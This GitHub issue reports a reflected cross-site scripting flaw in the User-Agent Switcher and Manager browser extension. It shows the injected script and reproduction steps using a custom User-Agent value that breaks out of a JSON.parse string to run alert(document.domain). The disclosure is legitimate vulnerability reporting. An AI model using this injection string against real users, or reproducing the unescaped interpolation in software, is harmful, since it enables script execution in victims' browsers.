Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Reflected Cross-Site Scripting (XSS) #162

Closed
stevesec opened this issue Sep 6, 2022 · 0 comments
Closed

Reflected Cross-Site Scripting (XSS) #162

stevesec opened this issue Sep 6, 2022 · 0 comments

Comments

@stevesec
Copy link

stevesec commented Sep 6, 2022

Hi there,

I was able to perform a Cross-Site Scripting attack using the User-Agent Switcher and Manager on Chrome build 105.0.5. This persisted across the browser until the User-Agent was removed

document.currentScript.dataset.injected = true;
            const o = JSON.parse('{"userAgent":""}'); alert(document.domain);// const o=JSON.parse('{"userAgent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36","appVersion":""}'); alert(document.domain);","platform":"","vendor":"Google Inc.","product":"","oscpu":"[delete]","buildID":"[delete]","productSub":"20030107"}');

            for (const key of Object.keys(o)) {
              if (o[key] === '[delete]') {
                delete Object.getPrototypeOf(window.navigator)[key];
              }
              else {
                navigator.__defineGetter__(key, () => {
                  if (o[key] === 'empty') {
                    return '';
                  }
                  return o[key];
                });
              }
            }
          }

chrome_debugger_xss

I was able to insert "}'); alert(document.domain);// into the User-Agent Switcher and Manager and return a JavaScript alert box. This was tested on Firefox as well and succeeded.

Steps to reproduce:

  1. Download User-Agent Switcher and Manager
  2. Enter in custom User-Agent - "}'); alert(document.domain);//
  3. Note the JavaScript alert box

Please let me know if I can do anything to help in this situation. Thank you!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant